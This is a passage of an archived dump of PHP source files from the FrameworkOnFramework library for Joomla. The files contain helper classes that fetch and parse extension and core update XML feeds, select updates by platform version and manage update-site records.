$xmlSource = $donwloader->getFromURL($url);
try
{
$xml = new SimpleXMLElement($xmlSource, LIBXML_NONET);
}
catch(Exception $e)
{
return $updates;
}
// Sanity check
if (($xml->getName() != 'extensionset'))
{
unset($xml);
return $updates;
}
// Initialise return value with the stream metadata (name, description)
$rootAttributes = $xml->attributes();
foreach ($rootAttributes as $k => $v)
{
$updates['metadata'][$k] = (string)$v;
}
// Initialise the raw list of updates
$rawUpdates = array(
'categories' => array(),
'extensions' => array(),
);
// Segregate the raw list to a hierarchy of extension and category
entries
/** @var SimpleXMLElement $extension */
foreach ($xml->children() as $extension)
{
switch ($extension->getName())
{
case 'category':
// These are the parameters we expect in a category
$params = array(
'name' => '',
'description' => '',
'category' => '',
'ref' => '',
'targetplatformversion' => $jVersion,
);
// These are the attributes of the element
$attributes = $extension->attributes();
// Merge them all
foreach ($attributes as $k => $v)
{
$params[$k] = (string)$v;
}
// We can't have a category with an empty category name
if (empty($params['category']))
{
break;
}
// We can't have a category with an empty ref
if (empty($params['ref']))
{
break;
}
if (empty($params['description']))
{
$params['description'] = $params['category'];
}
if (!array_key_exists($params['category'],
$rawUpdates['categories']))
{
$rawUpdates['categories'][$params['category']] =
array();
}
$rawUpdates['categories'][$params['category']][] =
$params;
break;
case 'extension':
// These are the parameters we expect in a category
$params = array(
'element' => '',
'type' => '',
'version' => '',
'name' => '',
'detailsurl' => '',
'targetplatformversion' => $jVersion,
);
// These are the attributes of the element
$attributes = $extension->attributes();
// Merge them all
foreach ($attributes as $k => $v)
{
$params[$k] = (string)$v;
}
// We can't have an extension with an empty element
if (empty($params['element']))
{
break;
}
// We can't have an extension with an empty type
if (empty($params['type']))
{
break;
}
// We can't have an extension with an empty version
if (empty($params['version']))
{
break;
}
if (empty($params['name']))
{
$params['name'] = $params['element'] . '
' . $params['version'];
}
if (!array_key_exists($params['type'],
$rawUpdates['extensions']))
{
$rawUpdates['extensions'][$params['type']] =
array();
}
if (!array_key_exists($params['element'],
$rawUpdates['extensions'][$params['type']]))
{
$rawUpdates['extensions'][$params['type']][$params['element']]
= array();
}
$rawUpdates['extensions'][$params['type']][$params['element']][]
= $params;
break;
default:
break;
}
}
unset($xml);
if (!empty($rawUpdates['categories']))
{
foreach ($rawUpdates['categories'] as $category =>
$entries)
{
$update = $this->filterListByPlatform($entries, $jVersion);
$updates['categories'][$category] = $update;
}
}
if (!empty($rawUpdates['extensions']))
{
foreach ($rawUpdates['extensions'] as $type => $extensions)
{
$updates['extensions'][$type] = array();
if (!empty($extensions))
{
foreach ($extensions as $element => $entries)
{
$update = $this->filterListByPlatform($entries, $jVersion);
$updates['extensions'][$type][$element] = $update;
}
}
}
}
return $updates;
}
/**
* Filters a list of updates, returning only those available for the
* specified platform version $jVersion
*
* @param array $updates An array containing update definitions
(categories or extensions)
* @param string $jVersion Joomla! version to fetch updates for, or
null to use JVERSION
*
* @return array|null The update definition that is compatible, or null
if none is compatible
*/
private function filterListByPlatform($updates, $jVersion = null)
{
// Get the target platform
if (is_null($jVersion))
{
$jVersion = JVERSION;
}
$versionParts = explode('.', $jVersion, 4);
$platformVersionMajor = $versionParts[0];
$platformVersionMinor = (count($versionParts) > 1) ?
$platformVersionMajor . '.' . $versionParts[1] :
$platformVersionMajor;
$platformVersionNormal = (count($versionParts) > 2) ?
$platformVersionMinor . '.' . $versionParts[2] :
$platformVersionMinor;
$platformVersionFull = (count($versionParts) > 3) ?
$platformVersionNormal . '.' . $versionParts[3] :
$platformVersionNormal;
$pickedExtension = null;
$pickedSpecificity = -1;
foreach ($updates as $update)
{
// Test the target platform
$targetPlatform = (string)$update['targetplatformversion'];
if ($targetPlatform === $platformVersionFull)
{
$pickedExtension = $update;
$pickedSpecificity = 4;
}
elseif (($targetPlatform === $platformVersionNormal) &&
($pickedSpecificity <= 3))
{
$pickedExtension = $update;
$pickedSpecificity = 3;
}
elseif (($targetPlatform === $platformVersionMinor) &&
($pickedSpecificity <= 2))
{
$pickedExtension = $update;
$pickedSpecificity = 2;
}
elseif (($targetPlatform === $platformVersionMajor) &&
($pickedSpecificity <= 1))
{
$pickedExtension = $update;
$pickedSpecificity = 1;
}
}
return $pickedExtension;
}
/**
* Returns only the category definitions of a collection
*
* @param string $url The URL of the collection update source
* @param string $jVersion Joomla! version to fetch updates for, or
null to use JVERSION
*
* @return array An array of category update definitions
*/
public function getCategories($url, $jVersion = null)
{
$allUpdates = $this->getAllUpdates($url, $jVersion);
return $allUpdates['categories'];
}
/**
* Returns the update source for a specific category
*
* @param string $url The URL of the collection update source
* @param string $category The category name you want to get the
update source URL of
* @param string $jVersion Joomla! version to fetch updates for, or
null to use JVERSION
*
* @return string|null The update stream URL, or null if it's not
found
*/
public function getCategoryUpdateSource($url, $category, $jVersion = null)
{
$allUpdates = $this->getAllUpdates($url, $jVersion);
if (array_key_exists($category, $allUpdates['categories']))
{
return $allUpdates['categories'][$category]['ref'];
}
else
{
return null;
}
}
/**
* Get a list of updates for extensions only, optionally of a specific
type
*
* @param string $url The URL of the collection update source
* @param string $type The extension type you want to get the
update source URL of, empty to get all
* extension types
* @param string $jVersion Joomla! version to fetch updates for, or
null to use JVERSION
*
* @return array|null An array of extension update definitions or null
if none is found
*/
public function getExtensions($url, $type = null, $jVersion = null)
{
$allUpdates = $this->getAllUpdates($url, $jVersion);
if (empty($type))
{
return $allUpdates['extensions'];
}
elseif (array_key_exists($type, $allUpdates['extensions']))
{
return $allUpdates['extensions'][$type];
}
else
{
return null;
}
}
/**
* Get the update source URL for a specific extension, based on the type
and element, e.g.
* type=file and element=joomla is Joomla! itself.
*
* @param string $url The URL of the collection update source
* @param string $type The extension type you want to get the
update source URL of
* @param string $element The extension element you want to get the
update source URL of
* @param string $jVersion Joomla! version to fetch updates for, or
null to use JVERSION
*
* @return string|null The update source URL or null if the extension is
not found
*/
public function getExtensionUpdateSource($url, $type, $element, $jVersion
= null)
{
$allUpdates = $this->getExtensions($url, $type, $jVersion);
if (empty($allUpdates))
{
return null;
}
elseif (array_key_exists($element, $allUpdates))
{
return $allUpdates[$element]['detailsurl'];
}
else
{
return null;
}
}
}extension.php000064400000006465151156420610007305 0ustar00<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* A helper class to read and parse "extension" update XML files
over the web
*/
class FOFUtilsUpdateExtension
{
/**
* Reads an "extension" XML update source and returns all listed
update entries.
*
* If you have a "collection" XML update source you should do
something like this:
* $collection = new FOFUtilsUpdateCollection();
* $extensionUpdateURL = $collection->getExtensionUpdateSource($url,
'component', 'com_foobar', JVERSION);
* $extension = new FOFUtilsUpdateExtension();
* $updates = $extension->getUpdatesFromExtension($extensionUpdateURL);
*
* @param string $url The extension XML update source URL to read from
*
* @return array An array of update entries
*/
public function getUpdatesFromExtension($url)
{
// Initialise
$ret = array();
// Get and parse the XML source
$downloader = new FOFDownload();
$xmlSource = $downloader->getFromURL($url);
try
{
$xml = new SimpleXMLElement($xmlSource, LIBXML_NONET);
}
catch(Exception $e)
{
return $ret;
}
// Sanity check
if (($xml->getName() != 'updates'))
{
unset($xml);
return $ret;
}
// Let's populate the list of updates
/** @var SimpleXMLElement $update */
foreach ($xml->children() as $update)
{
// Sanity check
if ($update->getName() != 'update')
{
continue;
}
$entry = array(
'infourl' => array('title' => '',
'url' => ''),
'downloads' => array(),
'tags' => array(),
'targetplatform' => array(),
);
$properties = get_object_vars($update);
foreach ($properties as $nodeName => $nodeContent)
{
switch ($nodeName)
{
default:
$entry[$nodeName] = $nodeContent;
break;
case 'infourl':
case 'downloads':
case 'tags':
case 'targetplatform':
break;
}
}
$infourlNode = $update->xpath('infourl');
$entry['infourl']['title'] =
(string)$infourlNode[0]['title'];
$entry['infourl']['url'] = (string)$infourlNode[0];
$downloadNodes = $update->xpath('downloads/downloadurl');
foreach ($downloadNodes as $downloadNode)
{
$entry['downloads'][] = array(
'type' => (string)$downloadNode['type'],
'format' => (string)$downloadNode['format'],
'url' => (string)$downloadNode,
);
}
$tagNodes = $update->xpath('tags/tag');
foreach ($tagNodes as $tagNode)
{
$entry['tags'][] = (string)$tagNode;
}
/** @var SimpleXMLElement $targetPlatformNode */
$targetPlatformNode = $update->xpath('targetplatform');
$entry['targetplatform']['name'] =
(string)$targetPlatformNode[0]['name'];
$entry['targetplatform']['version'] =
(string)$targetPlatformNode[0]['version'];
$client = $targetPlatformNode[0]->xpath('client');
$entry['targetplatform']['client'] =
(is_array($client) && count($client)) ? (string)$client[0] :
'';
$folder = $targetPlatformNode[0]->xpath('folder');
$entry['targetplatform']['folder'] =
is_array($folder) && count($folder) ? (string)$folder[0] :
'';
$ret[] = $entry;
}
unset($xml);
return $ret;
}
}joomla.php000064400000040260151156420610006541 0ustar00<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* A helper class which provides update information for the Joomla! CMS
itself. This is slightly different than the
* regular "extension" files as we need to know if a Joomla!
version is STS, LTS, testing, current and so on.
*/
class FOFUtilsUpdateJoomla extends FOFUtilsUpdateExtension
{
/**
* The source for LTS updates
*
* @var string
*/
protected static $lts_url =
'http://update.joomla.org/core/list.xml';
/**
* The source for STS updates
*
* @var string
*/
protected static $sts_url =
'http://update.joomla.org/core/sts/list_sts.xml';
/**
* The source for test release updates
*
* @var string
*/
protected static $test_url =
'http://update.joomla.org/core/test/list_test.xml';
/**
* Reads an "extension" XML update source and returns all listed
update entries.
*
* If you have a "collection" XML update source you should do
something like this:
* $collection = new CmsupdateHelperCollection();
* $extensionUpdateURL = $collection->getExtensionUpdateSource($url,
'component', 'com_foobar', JVERSION);
* $extension = new CmsupdateHelperExtension();
* $updates = $extension->getUpdatesFromExtension($extensionUpdateURL);
*
* @param string $url The extension XML update source URL to read from
*
* @return array An array of update entries
*/
public function getUpdatesFromExtension($url)
{
// Initialise
$ret = array();
// Get and parse the XML source
$downloader = new FOFDownload();
$xmlSource = $downloader->getFromURL($url);
try
{
$xml = new SimpleXMLElement($xmlSource, LIBXML_NONET);
}
catch (Exception $e)
{
return $ret;
}
// Sanity check
if (($xml->getName() != 'updates'))
{
unset($xml);
return $ret;
}
// Let's populate the list of updates
/** @var SimpleXMLElement $update */
foreach ($xml->children() as $update)
{
// Sanity check
if ($update->getName() != 'update')
{
continue;
}
$entry = array(
'infourl' => array('title' =>
'', 'url' => ''),
'downloads' => array(),
'tags' => array(),
'targetplatform' => array(),
);
$properties = get_object_vars($update);
foreach ($properties as $nodeName => $nodeContent)
{
switch ($nodeName)
{
default:
$entry[ $nodeName ] = $nodeContent;
break;
case 'infourl':
case 'downloads':
case 'tags':
case 'targetplatform':
break;
}
}
$infourlNode = $update->xpath('infourl');
$entry['infourl']['title'] = (string)
$infourlNode[0]['title'];
$entry['infourl']['url'] = (string)
$infourlNode[0];
$downloadNodes = $update->xpath('downloads/downloadurl');
foreach ($downloadNodes as $downloadNode)
{
$entry['downloads'][] = array(
'type' => (string) $downloadNode['type'],
'format' => (string) $downloadNode['format'],
'url' => (string) $downloadNode,
);
}
$tagNodes = $update->xpath('tags/tag');
foreach ($tagNodes as $tagNode)
{
$entry['tags'][] = (string) $tagNode;
}
/** @var SimpleXMLElement[] $targetPlatformNode */
$targetPlatformNode = $update->xpath('targetplatform');
$entry['targetplatform']['name'] = (string)
$targetPlatformNode[0]['name'];
$entry['targetplatform']['version'] = (string)
$targetPlatformNode[0]['version'];
$client =
$targetPlatformNode[0]->xpath('client');
$entry['targetplatform']['client'] =
(is_array($client) && count($client)) ? (string) $client[0] :
'';
$folder =
$targetPlatformNode[0]->xpath('folder');
$entry['targetplatform']['folder'] =
is_array($folder) && count($folder) ? (string) $folder[0] :
'';
$ret[] = $entry;
}
unset($xml);
return $ret;
}
/**
* Reads a "collection" XML update source and picks the correct
source URL
* for the extension update source.
*
* @param string $url The collection XML update source URL to read
from
* @param string $jVersion Joomla! version to fetch updates for, or null
to use JVERSION
*
* @return string The URL of the extension update source, or empty if no
updates are provided / fetching failed
*/
public function getUpdateSourceFromCollection($url, $jVersion = null)
{
$provider = new FOFUtilsUpdateCollection();
return $provider->getExtensionUpdateSource($url, 'file',
'joomla', $jVersion);
}
/**
* Determines the properties of a version: STS/LTS, normal or testing
*
* @param string $jVersion The version number to check
* @param string $currentVersion The current Joomla! version number
*
* @return array The properties analysis
*/
public function getVersionProperties($jVersion, $currentVersion = null)
{
// Initialise
$ret = array(
'lts' => true,
// Is this an LTS release? False means STS.
'current' => false,
// Is this a release in the $currentVersion branch?
'upgrade' => 'none',
// Upgrade relation of $jVersion to $currentVersion: 'none'
(can't upgrade), 'lts' (next or current LTS),
'sts' (next or current STS) or 'current' (same release,
no upgrade available)
'testing' => false,
// Is this a testing (alpha, beta, RC) release?
);
// Get the current version if none is defined
if (is_null($currentVersion))
{
$currentVersion = JVERSION;
}
// Sanitise version numbers
$sameVersion = $jVersion == $currentVersion;
$jVersion = $this->sanitiseVersion($jVersion);
$currentVersion = $this->sanitiseVersion($currentVersion);
$sameVersion = $sameVersion || ($jVersion == $currentVersion);
// Get the base version
$baseVersion = substr($jVersion, 0, 3);
// Get the minimum and maximum current version numbers
$current_minimum = substr($currentVersion, 0, 3);
$current_maximum = $current_minimum . '.9999';
// Initialise STS/LTS version numbers
$sts_minimum = false;
$sts_maximum = false;
$lts_minimum = false;
// Is it an LTS or STS release?
switch ($baseVersion)
{
case '1.5':
$ret['lts'] = true;
break;
case '1.6':
$ret['lts'] = false;
$sts_minimum = '1.7';
$sts_maximum = '1.7.999';
$lts_minimum = '2.5';
break;
case '1.7':
$ret['lts'] = false;
$sts_minimum = false;
$lts_minimum = '2.5';
break;
case '2.5':
$ret['lts'] = true;
$sts_minimum = false;
$lts_minimum = '2.5';
break;
default:
$majorVersion = (int) substr($jVersion, 0, 1);
//$minorVersion = (int) substr($jVersion, 2, 1);
$ret['lts'] = true;
$sts_minimum = false;
$lts_minimum = $majorVersion . '.0';
break;
}
// Is it a current release?
if (version_compare($jVersion, $current_minimum, 'ge')
&& version_compare($jVersion, $current_maximum, 'le'))
{
$ret['current'] = true;
}
// Is this a testing release?
$versionParts = explode('.', $jVersion);
$lastVersionPart = array_pop($versionParts);
if (in_array(substr($lastVersionPart, 0, 1), array('a',
'b')))
{
$ret['testing'] = true;
}
elseif (substr($lastVersionPart, 0, 2) == 'rc')
{
$ret['testing'] = true;
}
elseif (substr($lastVersionPart, 0, 3) == 'dev')
{
$ret['testing'] = true;
}
// Find the upgrade relation of $jVersion to $currentVersion
if (version_compare($jVersion, $currentVersion, 'eq'))
{
$ret['upgrade'] = 'current';
}
elseif (($sts_minimum !== false) && version_compare($jVersion,
$sts_minimum, 'ge') && version_compare($jVersion,
$sts_maximum, 'le'))
{
$ret['upgrade'] = 'sts';
}
elseif (($lts_minimum !== false) && version_compare($jVersion,
$lts_minimum, 'ge'))
{
$ret['upgrade'] = 'lts';
}
elseif ($baseVersion == $current_minimum)
{
$ret['upgrade'] = $ret['lts'] ? 'lts' :
'sts';
}
else
{
$ret['upgrade'] = 'none';
}
if ($sameVersion)
{
$ret['upgrade'] = 'none';
}
return $ret;
}
/**
* Filters a list of updates, making sure they apply to the specified CMS
* release.
*
* @param array $updates A list of update records returned by the
getUpdatesFromExtension method
* @param string $jVersion The current Joomla! version number
*
* @return array A filtered list of updates. Each update record also
includes version relevance information.
*/
public function filterApplicableUpdates($updates, $jVersion = null)
{
if (empty($jVersion))
{
$jVersion = JVERSION;
}
$versionParts = explode('.', $jVersion, 4);
$platformVersionMajor = $versionParts[0];
$platformVersionMinor = $platformVersionMajor . '.' .
$versionParts[1];
$platformVersionNormal = $platformVersionMinor . '.' .
$versionParts[2];
//$platformVersionFull = (count($versionParts) > 3) ?
$platformVersionNormal . '.' . $versionParts[3] :
$platformVersionNormal;
$ret = array();
foreach ($updates as $update)
{
// Check each update for platform match
if (strtolower($update['targetplatform']['name']) !=
'joomla')
{
continue;
}
$targetPlatformVersion =
$update['targetplatform']['version'];
if (!preg_match('/' . $targetPlatformVersion . '/',
$platformVersionMinor))
{
continue;
}
// Get some information from the version number
$updateVersion = $update['version'];
$versionProperties = $this->getVersionProperties($updateVersion,
$jVersion);
if ($versionProperties['upgrade'] == 'none')
{
continue;
}
// The XML files are ill-maintained. Maybe we already have this update?
if (!array_key_exists($updateVersion, $ret))
{
$ret[ $updateVersion ] = array_merge($update, $versionProperties);
}
}
return $ret;
}
/**
* Joomla! has a lousy track record in naming its alpha, beta and release
* candidate releases. The convention used seems to be "what the hell
the
* current package maintainer thinks looks better". This method tries
to
* figure out what was in the mind of the maintainer and translate the
* funky version number to an actual PHP-format version string.
*
* @param string $version The whatever-format version number
*
* @return string A standard formatted version number
*/
public function sanitiseVersion($version)
{
$test = strtolower($version);
$alphaQualifierPosition = strpos($test, 'alpha-');
$betaQualifierPosition = strpos($test, 'beta-');
$betaQualifierPosition2 = strpos($test, '-beta');
$rcQualifierPosition = strpos($test, 'rc-');
$rcQualifierPosition2 = strpos($test, '-rc');
$rcQualifierPosition3 = strpos($test, 'rc');
$devQualifiedPosition = strpos($test, 'dev');
if ($alphaQualifierPosition !== false)
{
$betaRevision = substr($test, $alphaQualifierPosition + 6);
if (!$betaRevision)
{
$betaRevision = 1;
}
$test = substr($test, 0, $alphaQualifierPosition) . '.a' .
$betaRevision;
}
elseif ($betaQualifierPosition !== false)
{
$betaRevision = substr($test, $betaQualifierPosition + 5);
if (!$betaRevision)
{
$betaRevision = 1;
}
$test = substr($test, 0, $betaQualifierPosition) . '.b' .
$betaRevision;
}
elseif ($betaQualifierPosition2 !== false)
{
$betaRevision = substr($test, $betaQualifierPosition2 + 5);
if (!$betaRevision)
{
$betaRevision = 1;
}
$test = substr($test, 0, $betaQualifierPosition2) . '.b' .
$betaRevision;
}
elseif ($rcQualifierPosition !== false)
{
$betaRevision = substr($test, $rcQualifierPosition + 5);
if (!$betaRevision)
{
$betaRevision = 1;
}
$test = substr($test, 0, $rcQualifierPosition) . '.rc' .
$betaRevision;
}
elseif ($rcQualifierPosition2 !== false)
{
$betaRevision = substr($test, $rcQualifierPosition2 + 3);
if (!$betaRevision)
{
$betaRevision = 1;
}
$test = substr($test, 0, $rcQualifierPosition2) . '.rc' .
$betaRevision;
}
elseif ($rcQualifierPosition3 !== false)
{
$betaRevision = substr($test, $rcQualifierPosition3 + 5);
if (!$betaRevision)
{
$betaRevision = 1;
}
$test = substr($test, 0, $rcQualifierPosition3) . '.rc' .
$betaRevision;
}
elseif ($devQualifiedPosition !== false)
{
$betaRevision = substr($test, $devQualifiedPosition + 6);
if (!$betaRevision)
{
$betaRevision = '';
}
$test = substr($test, 0, $devQualifiedPosition) . '.dev' .
$betaRevision;
}
return $test;
}
/**
* Reloads the list of all updates available for the specified Joomla!
version
* from the network.
*
* @param array $sources The enabled sources to look into
* @param string $jVersion The Joomla! version we are checking updates
for
*
* @return array A list of updates for the installed, current, lts and
sts versions
*/
public function getUpdates($sources = array(), $jVersion = null)
{
// Make sure we have a valid list of sources
if (empty($sources) || !is_array($sources))
{
$sources = array();
}
$defaultSources = array('lts' => true, 'sts' =>
true, 'test' => true, 'custom' => '');
$sources = array_merge($defaultSources, $sources);
// Use the current JVERSION if none is specified
if (empty($jVersion))
{
$jVersion = JVERSION;
}
// Get the current branch' min/max versions
$versionParts = explode('.', $jVersion, 4);
$currentMinVersion = $versionParts[0] . '.' . $versionParts[1];
$currentMaxVersion = $versionParts[0] . '.' . $versionParts[1]
. '.9999';
// Retrieve all updates
$allUpdates = array();
foreach ($sources as $source => $value)
{
if (($value === false) || empty($value))
{
continue;
}
switch ($source)
{
case 'lts':
$url = self::$lts_url;
break;
case 'sts':
$url = self::$sts_url;
break;
case 'test':
$url = self::$test_url;
break;
default:
case 'custom':
$url = $value;
break;
}
$url = $this->getUpdateSourceFromCollection($url, $jVersion);
if (!empty($url))
{
$updates = $this->getUpdatesFromExtension($url);
if (!empty($updates))
{
$applicableUpdates = $this->filterApplicableUpdates($updates,
$jVersion);
if (!empty($applicableUpdates))
{
$allUpdates = array_merge($allUpdates, $applicableUpdates);
}
}
}
}
$ret = array(
// Currently installed version (used to reinstall, if available)
'installed' => array(
'version' => '',
'package' => '',
'infourl' => '',
),
// Current branch
'current' => array(
'version' => '',
'package' => '',
'infourl' => '',
),
// Upgrade to STS release
'sts' => array(
'version' => '',
'package' => '',
'infourl' => '',
),
// Upgrade to LTS release
'lts' => array(
'version' => '',
'package' => '',
'infourl' => '',
),
// Upgrade to LTS release
'test' => array(
'version' => '',
'package' => '',
'infourl' => '',
),
);
foreach ($allUpdates as $update)
{
$sections = array();
if ($update['upgrade'] == 'current')
{
$sections[0] = 'installed';
}
elseif (version_compare($update['version'],
$currentMinVersion, 'ge') &&
version_compare($update['version'], $currentMaxVersion,
'le'))
{
$sections[0] = 'current';
}
else
{
$sections[0] = '';
}
$sections[1] = $update['lts'] ? 'lts' :
'sts';
if ($update['testing'])
{
$sections = array('test');
}
foreach ($sections as $section)
{
if (empty($section))
{
continue;
}
$existingVersionForSection = $ret[ $section ]['version'];
if (empty($existingVersionForSection))
{
$existingVersionForSection = '0.0.0';
}
if (version_compare($update['version'],
$existingVersionForSection, 'ge'))
{
$ret[ $section ]['version'] = $update['version'];
$ret[ $section ]['package'] =
$update['downloads'][0]['url'];
$ret[ $section ]['infourl'] =
$update['infourl']['url'];
}
}
}
// Catch the case when the latest current branch version is the installed
version (up to date site)
if (empty($ret['current']['version']) &&
!empty($ret['installed']['version']))
{
$ret['current'] = $ret['installed'];
}
return $ret;
}
}update.php000064400000101122151156420610006535 0ustar00<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
if (version_compare(JVERSION, '2.5.0', 'lt'))
{
jimport('joomla.updater.updater');
}
/**
* A helper Model to interact with Joomla!'s extensions update feature
*/
class FOFUtilsUpdate extends FOFModel
{
/** @var JUpdater The Joomla! updater object */
protected $updater = null;
/** @var int The extension_id of this component */
protected $extension_id = 0;
/** @var string The currently installed version, as reported by the
#__extensions table */
protected $version = 'dev';
/** @var string The machine readable name of the component e.g.
com_something */
protected $component = 'com_foobar';
/** @var string The human readable name of the component e.g. Your
Component's Name. Used for emails. */
protected $componentDescription = 'Foobar';
/** @var string The URL to the component's update XML stream */
protected $updateSite = null;
/** @var string The name to the component's update site (description
of the update XML stream) */
protected $updateSiteName = null;
/** @var string The extra query to append to (commercial) components'
download URLs */
protected $extraQuery = null;
/** @var string The common parameters' key, used for storing data in
the #__akeeba_common table */
protected $commonKey = 'foobar';
/**
* The common parameters table. It's a simple table with key(VARCHAR)
and value(LONGTEXT) fields.
* Here is an example MySQL CREATE TABLE command to make this kind of
table:
*
* CREATE TABLE `#__akeeba_common` (
* `key` varchar(255) NOT NULL,
* `value` longtext NOT NULL,
* PRIMARY KEY (`key`)
* ) DEFAULT COLLATE utf8_general_ci CHARSET=utf8;
*
* @var string
*/
protected $commonTable = '#__akeeba_common';
/**
* Subject of the component update emails
*
* @var string
*/
protected $updateEmailSubject = 'THIS EMAIL IS SENT FROM YOUR SITE
"[SITENAME]" - Update available for [COMPONENT], new version
[VERSION]';
/**
* Body of the component update email
*
* @var string
*/
protected $updateEmailBody= <<< ENDBLOCK
This email IS NOT sent by the authors of [COMPONENT].
It is sent automatically by your own site, [SITENAME].
================================================================================
UPDATE INFORMATION
================================================================================
Your site has determined that there is an updated version of [COMPONENT]
available for download.
New version number: [VERSION]
This email is sent to you by your site to remind you of this fact. The
authors
of the software will never contact you about available updates.
================================================================================
WHY AM I RECEIVING THIS EMAIL?
================================================================================
This email has been automatically sent by a CLI script or Joomla! plugin
you, or
the person who built or manages your site, has installed and explicitly
activated. This script or plugin looks for updated versions of the software
and
sends an email notification to all Super Users. You will receive several
similar
emails from your site, up to 6 times per day, until you either update the
software or disable these emails.
To disable these emails, please contact your site administrator.
If you do not understand what this means, please do not contact the authors
of
the software. They are NOT sending you this email and they cannot help you.
Instead, please contact the person who built or manages your site.
================================================================================
WHO SENT ME THIS EMAIL?
================================================================================
This email is sent to you by your own site, [SITENAME]
ENDBLOCK;
/**
* Public constructor. Initialises the protected members as well. Useful
$config keys:
* update_component The component name, e.g. com_foobar
* update_version The default version if the manifest cache is unreadable
* update_site The URL to the component's update XML stream
* update_extraquery The extra query to append to (commercial)
components' download URLs
* update_sitename The update site's name (description)
*
* @param array $config
*/
public function __construct($config = array())
{
parent::__construct($config);
// Get an instance of the updater class
$this->updater = JUpdater::getInstance();
// Get the component name
if (isset($config['update_component']))
{
$this->component = $config['update_component'];
}
else
{
$this->component = $this->input->getCmd('option',
'');
}
// Get the component description
if (isset($config['update_component_description']))
{
$this->component = $config['update_component_description'];
}
else
{
// Try to auto-translate (hopefully you've loaded the language
files)
$key = strtoupper($this->component);
$description = JText::_($key);
}
// Get the component version
if (isset($config['update_version']))
{
$this->version = $config['update_version'];
}
// Get the common key
if (isset($config['common_key']))
{
$this->commonKey = $config['common_key'];
}
else
{
// Convert com_foobar, pkg_foobar etc to "foobar"
$this->commonKey = substr($this->component, 4);
}
// Get the update site
if (isset($config['update_site']))
{
$this->updateSite = $config['update_site'];
}
// Get the extra query
if (isset($config['update_extraquery']))
{
$this->extraQuery = $config['update_extraquery'];
}
// Get the update site's name
if (isset($config['update_sitename']))
{
$this->updateSiteName = $config['update_sitename'];
}
// Find the extension ID
$db = FOFPlatform::getInstance()->getDbo();
$query = $db->getQuery(true)
->select('*')
->from($db->qn('#__extensions'))
->where($db->qn('type') . ' = ' .
$db->q('component'))
->where($db->qn('element') . ' = ' .
$db->q($this->component));
$db->setQuery($query);
$extension = $db->loadObject();
if (is_object($extension))
{
$this->extension_id = $extension->extension_id;
$data = json_decode($extension->manifest_cache, true);
if (isset($data['version']))
{
$this->version = $data['version'];
}
}
}
/**
* Retrieves the update information of the component, returning an array
with the following keys:
*
* hasUpdate True if an update is available
* version The version of the available update
* infoURL The URL to the download page of the update
*
* @param bool $force Set to true if you want to forcibly
reload the update information
* @param string $preferredMethod Preferred update method:
'joomla' or 'classic'
*
* @return array See the method description for more information
*/
public function getUpdates($force = false, $preferredMethod = null)
{
// Default response (no update)
$updateResponse = array(
'hasUpdate' => false,
'version' => '',
'infoURL' => '',
'downloadURL' => '',
);
if (empty($this->extension_id))
{
return $updateResponse;
}
$updateRecord = $this->findUpdates($force, $preferredMethod);
// If we have an update record in the database return the information
found there
if (is_object($updateRecord))
{
$updateResponse = array(
'hasUpdate' => true,
'version' => $updateRecord->version,
'infoURL' => $updateRecord->infourl,
'downloadURL' => $updateRecord->downloadurl,
);
}
return $updateResponse;
}
/**
* Find the available update record object. If we're at the latest
version it will return null.
*
* Please see getUpdateMethod for information on how the $preferredMethod
is handled and what it means.
*
* @param bool $force Should I forcibly reload the updates
from the server?
* @param string $preferredMethod Preferred update method:
'joomla' or 'classic'
*
* @return \stdClass|null
*/
public function findUpdates($force, $preferredMethod = null)
{
$preferredMethod = $this->getUpdateMethod($preferredMethod);
switch ($preferredMethod)
{
case 'joomla':
return $this->findUpdatesJoomla($force);
break;
default:
case 'classic':
return $this->findUpdatesClassic($force);
break;
}
}
/**
* Gets the update site Ids for our extension.
*
* @return mixed An array of Ids or null if the query failed.
*/
public function getUpdateSiteIds()
{
$db = FOFPlatform::getInstance()->getDbo();
$query = $db->getQuery(true)
->select($db->qn('update_site_id'))
->from($db->qn('#__update_sites_extensions'))
->where($db->qn('extension_id') . ' = ' .
$db->q($this->extension_id));
$db->setQuery($query);
$updateSiteIds = $db->loadColumn(0);
return $updateSiteIds;
}
/**
* Get the currently installed version as reported by the #__extensions
table
*
* @return string
*/
public function getVersion()
{
return $this->version;
}
/**
* Returns the name of the component, e.g. com_foobar
*
* @return string
*/
public function getComponentName()
{
return $this->component;
}
/**
* Returns the human readable component name, e.g. Foobar Component
*
* @return string
*/
public function getComponentDescription()
{
return $this->componentDescription;
}
/**
* Returns the numeric extension ID for the component
*
* @return int
*/
public function getExtensionId()
{
return $this->extension_id;
}
/**
* Returns the update site URL, i.e. the URL to the XML update stream
*
* @return string
*/
public function getUpdateSite()
{
return $this->updateSite;
}
/**
* Returns the human readable description of the update site
*
* @return string
*/
public function getUpdateSiteName()
{
return $this->updateSiteName;
}
/**
* Override the currently installed version as reported by the
#__extensions table
*
* @param string $version
*/
public function setVersion($version)
{
$this->version = $version;
}
/**
* Refreshes the Joomla! update sites for this extension as needed
*
* @return void
*/
public function refreshUpdateSite()
{
// Joomla! 1.5 does not have update sites.
if (version_compare(JVERSION, '1.6.0', 'lt'))
{
return;
}
if (empty($this->extension_id))
{
return;
}
// Remove obsolete update sites that don't match our extension ID
but match our name or update site location
$this->removeObsoleteUpdateSites();
// Create the update site definition we want to store to the database
$update_site = array(
'name' => $this->updateSiteName,
'type' => 'extension',
'location' => $this->updateSite,
'enabled' => 1,
'last_check_timestamp' => 0,
'extra_query' => $this->extraQuery
);
// Get a reference to the db driver
$db = FOFPlatform::getInstance()->getDbo();
// Get the #__update_sites columns
$columns = $db->getTableColumns('#__update_sites', true);
